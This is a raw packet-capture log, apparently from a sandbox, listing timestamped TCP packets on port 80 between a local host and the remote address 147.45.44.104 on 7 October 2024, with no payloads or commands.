Oct 7, 2024 18:00:32.645939112 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.645963907 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.645988941 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.646770000 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646786928 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646801949 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646816969 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646830082 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.646831036 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646847010 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646853924 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.646862984 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.646892071 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.646908045 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.647716999 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647735119 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647748947 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647764921 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647778988 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647780895 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.647811890 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.647818089 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647835016 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.647842884 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.647876024 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.648682117 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.648698092 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.648711920 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.648726940 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.648740053 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.648741961 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.648758888 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.648781061 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.648813009 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.649682999 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649699926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649713039 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649727106 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649741888 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649746895 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.649758101 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649772882 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.649785995 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.649808884 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.650409937 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650425911 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650440931 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650455952 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650469065 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.650470972 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650487900 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650494099 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.650511980 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650516033 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.650528908 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.650554895 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.650584936 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.651324987 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651340961 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651355982 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651371002 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651381969 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.651402950 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.651403904 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651422024 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651437044 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651443958 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.651454926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.651469946 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.651506901 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.652199030 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652215958 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652231932 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652246952 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652261972 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652261972 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.652277946 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652292013 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652293921 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.652308941 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.652334929 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.652355909 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.653095007 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653111935 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653126955 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653143883 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653156996 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.653158903 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653176069 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653188944 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.653192997 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653208971 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653217077 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.653235912 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.653266907 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.653970003 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.653985977 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654000998 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654016018 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654030085 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654031992 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654046059 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654062033 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654066086 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654078960 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654088020 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654114962 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654144049 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654880047 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654895067 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654910088 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654925108 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654937029 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654942036 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654958963 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654969931 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.654974937 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654989958 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.654990911 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.655024052 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.655060053 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.655740023 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.655755997 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.655771017 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.655786991 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.655798912 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.655808926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.655817986 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.655857086 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.726695061 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.726780891 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.726792097 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.726840973 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.726875067 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.726916075 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.726967096 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.726983070 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.726995945 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.727005959 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.727022886 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.727032900 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.727065086 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.727397919 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.727406979 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.727449894 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.728204012 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728219986 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728229046 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728276014 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.728420019 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728430986 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728441000 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728446960 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728473902 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.728504896 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.728811026 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728821993 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728832006 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728847980 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728857994 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.728882074 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.728894949 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.729226112 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729279041 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.729321003 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729331970 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729343891 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729353905 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729363918 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729363918 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.729373932 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729384899 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729392052 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.729424953 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.729931116 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729942083 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729952097 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.729981899 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.730012894 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.730324984 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730335951 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730345011 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730353117 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730364084 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730376959 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730381966 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.730387926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730397940 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730401039 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.730408907 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730422974 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.730426073 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.730448961 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.730475903 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.731228113 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731240034 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731249094 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731260061 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731267929 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731276989 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731287003 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731291056 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.731297016 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731307030 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731317043 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731322050 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.731328011 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.731348991 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.731368065 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.732171059 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732181072 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732192039 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732201099 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732212067 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732220888 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732228994 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.732230902 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732242107 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732251883 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732251883 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.732263088 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.732275009 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.732297897 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.732321024 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.733104944 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733115911 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733125925 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733136892 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733150005 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733160973 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.733181000 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733191967 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733192921 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.733201981 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733211994 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733220100 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.733227968 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.733246088 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.733275890 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.734035969 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734046936 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734055996 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734066010 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734074116 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734085083 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734093904 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.734095097 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734106064 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734116077 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734127045 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734128952 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.734138012 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734148979 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.734174967 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.734977007 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734987974 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.734997034 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735007048 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735016108 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735024929 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735034943 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735034943 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.735047102 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735057116 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735063076 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.735069990 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735081911 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.735100985 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.735126972 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.735918999 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735930920 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735940933 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735949993 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735959053 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735969067 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735979080 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.735984087 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.735989094 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736000061 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736011028 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736017942 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.736021042 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736040115 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.736054897 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.736876965 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736887932 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736896992 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736906052 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736915112 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736924887 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736933947 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736934900 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.736944914 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736955881 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736964941 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.736974001 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.737004995 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.737689972 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.737700939 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.737709045 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.737766027 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.737766027 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.811368942 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811412096 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811420918 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811515093 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.811518908 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811531067 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811542034 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811547995 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.811553001 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811594009 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.811774969 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.811824083 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.812936068 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.812977076 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.812988043 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.812994957 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.813010931 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.813036919 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.813186884 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813198090 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813208103 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813216925 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813262939 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.813287020 CEST	49724	80	192.168.2.6	147.45.44.104
Oct 7, 2024 18:00:32.813599110 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813608885 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813618898 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813628912 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813638926 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813648939 CEST	80	49724	147.45.44.104	192.168.2.6
Oct 7, 2024 18:00:32.813651085 CEST	49724	80	192.168.2.6	147.45.44.104
